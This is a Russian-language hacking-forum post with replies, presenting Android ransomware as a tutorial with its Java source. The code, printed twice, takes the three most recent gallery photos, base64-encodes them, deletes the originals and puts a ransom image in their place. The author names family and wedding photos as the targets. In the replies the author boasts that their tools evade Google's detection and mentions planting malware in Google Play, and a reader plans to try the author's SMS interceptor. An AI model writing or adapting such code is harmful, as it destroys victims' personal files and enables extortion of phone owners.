Всем привет! Сегодня еще одна статья о вирусах на Android В этой теме я обсужу возможности вымогательства на Android, немного болталогии и реальный пример вируса-шифровальщика. Приятного чтива Недавно я думал о вирусах-шифровальщиках вымогателях на Windows, и меня постигла мысль: можно ли сделать шифровальщик-вымогатель на Android? Для начала нам нужно определить цели: что мы будем зашифровывать, какие ценные материалы есть на телефоне? В основном, это фото и видео, которые дороги людям, и результат полученной выгоды будет сопоставим с его собратьями на Windows. У людей в галерее могут быть фотографии их семьи, *********, видео со свадьбы — что угодно, и это для людей ценно Мой пример вируса-шифровальщика будет написан на Java, но если вам будет что-то не понятно в коде, то учтите, что Java для Android не значительно, но отличается от обычной её версии. Принцип работы - > 1. Определение фото/видео, которые нам нужно зашифровать. 2. Шифрование и сохранение шифрованных байтов с помощью base64 (в реальных условиях использовать крайне глупо, так как для дешифровки даже не нужен ключ), для примера такого метода будет достаточно. 3. Замена фото/видео на картинку-заглушку с объяснениями действий, например, или насмешками, что вашим файлам капут. Ну, приступим к самому примеру. Для начала нам нужно получить разрешения на подобные выкрутасы, их мы указываем в Manifest: <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> //На новых версиях андрюхи без этого не обойтись JS <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> //На новых версиях андрюхи без этого не обойтись Приступим к основному коду на Java: private void replaceLastThreeImagesWithEncodedText() { List<String> encodedImages = new ArrayList<>(); List<Uri> lastThreeImageUris = getLastThreeImageUris(); if (lastThreeImageUris.size() == 3) { for (Uri uri : lastThreeImageUris) { String encodedImage = encodeImageToBase64(uri); encodedImages.add(encodedImage); } deleteLastThreeImages(lastThreeImageUris); for (int i = 0; i < 3; i++) { replaceImageWithDrawable(); } private List<Uri> getLastThreeImageUris() { //берем фоточки List<Uri> imageUris = new ArrayList<>(); String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED }; String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC"; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder); if (cursor != null) { int count = 0; while (cursor.moveToNext() && count < 3) { int idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID); long id = cursor.getLong(idColumn); Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id)); imageUris.add(imageUri); count++; } cursor.close(); } return imageUris; } private String encodeImageToBase64(Uri imageUri) { //base64 try { Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream); byte[] byteArray = byteArrayOutputStream.toByteArray(); return Base64.encodeToString(byteArray, Base64.DEFAULT); } catch (Exception e) { e.printStackTrace(); return null; } } private void saveEncodedImagesToFile(List<String> encodedImages) { //сохраняем зашифрованные байты в .txt файлик можно поменять разшир на что-то типа .enc тут разницы нет вообще File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages"); if (!directory.exists()) { directory.mkdirs(); } File file = new File(directory, "encoded_images.txt"); try { FileOutputStream outputStream = new FileOutputStream(file); for (String encodedImage : encodedImages) { outputStream.write(encodedImage.getBytes()); outputStream.write("\n".getBytes()); } outputStream.close(); } catch (Exception e) { e.printStackTrace(); } } private void deleteLastThreeImages(List<Uri> imageUris) { //удаление трех последних фоточек/видео for (Uri uri : imageUris) { getContentResolver().delete(uri, null, null); } } private void replaceImageWithDrawable() { //заменяем на нашу картинку и drawable Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.enc); String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable"); if (savedImageURL == null) { Toast.makeText(this, "Error replacing image", Toast.LENGTH_SHORT).show(); } } } JS private void replaceLastThreeImagesWithEncodedText() { List<String> encodedImages = new ArrayList<>(); List<Uri> lastThreeImageUris = getLastThreeImageUris(); if (lastThreeImageUris.size() == 3) { for (Uri uri : lastThreeImageUris) { String encodedImage = encodeImageToBase64(uri); encodedImages.add(encodedImage); } deleteLastThreeImages(lastThreeImageUris); for (int i = 0; i < 3; i++) { replaceImageWithDrawable(); } private List<Uri> getLastThreeImageUris() { //берем фоточки List<Uri> imageUris = new ArrayList<>(); String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED }; String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC"; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder); if (cursor != null) { int count = 0; while (cursor.moveToNext() && count < 3) { int idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID); long id = cursor.getLong(idColumn); Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id)); imageUris.add(imageUri); count++; } cursor.close(); } return imageUris; } private String encodeImageToBase64(Uri imageUri) { //base64 try { Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream); byte[] byteArray = byteArrayOutputStream.toByteArray(); return Base64.encodeToString(byteArray, Base64.DEFAULT); } catch (Exception e) { e.printStackTrace(); return null; } } private void saveEncodedImagesToFile(List<String> encodedImages) { //сохраняем зашифрованные байты в .txt файлик можно поменять разшир на что-то типа .enc тут разницы нет вообще File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages"); if (!directory.exists()) { directory.mkdirs(); } File file = new File(directory, "encoded_images.txt"); try { FileOutputStream outputStream = new FileOutputStream(file); for (String encodedImage : encodedImages) { outputStream.write(encodedImage.getBytes()); outputStream.write("\n".getBytes()); } outputStream.close(); } catch (Exception e) { e.printStackTrace(); } } private void deleteLastThreeImages(List<Uri> imageUris) { //удаление трех последних фоточек/видео for (Uri uri : imageUris) { getContentResolver().delete(uri, null, null); } } private void replaceImageWithDrawable() { //заменяем на нашу картинку и drawable Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.enc); String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable"); if (savedImageURL == null) { Toast.makeText(this, "Error replacing image", Toast.LENGTH_SHORT).show(); } } } Я не стал писать часть с проверкой на наличие разрешений и т.д. Думаю, вам интересна сама логика. Обсуждайте, пишите замечания, советы и задавайте вопросы — буду рад ответить всем
Nmz, ну все пизда твоему вирусу нахуя ты его вирус тотал залил ну выложил бы в другой сканер не сливающие код вируса нет та блять залил на вт
Как и все мои продукты это я так хвастаюсь все обходит Google The post was merged to previous May 31, 2024 Думаю кстати о статье суть которой будет в заливе вирусов в Google Play Но там малость сложновато
Nmz, бля ты просто гений, очень понравилась твоя статься с перехватчиком смс планирую попробывать, эта статься тоже годная почаще бы видеть твои статьи
Доброе утро, пока читал не мог никак перестать отводить взгляд на этого секси-шпекси (если фотка залагала: https://imgur.com/NARAHOw) === А так крутая штука, вообще бомба, пушка, имба. Мне понравилось, понятен принцип работы, теперь я и в этой теме (как мне кажется) немного шарю.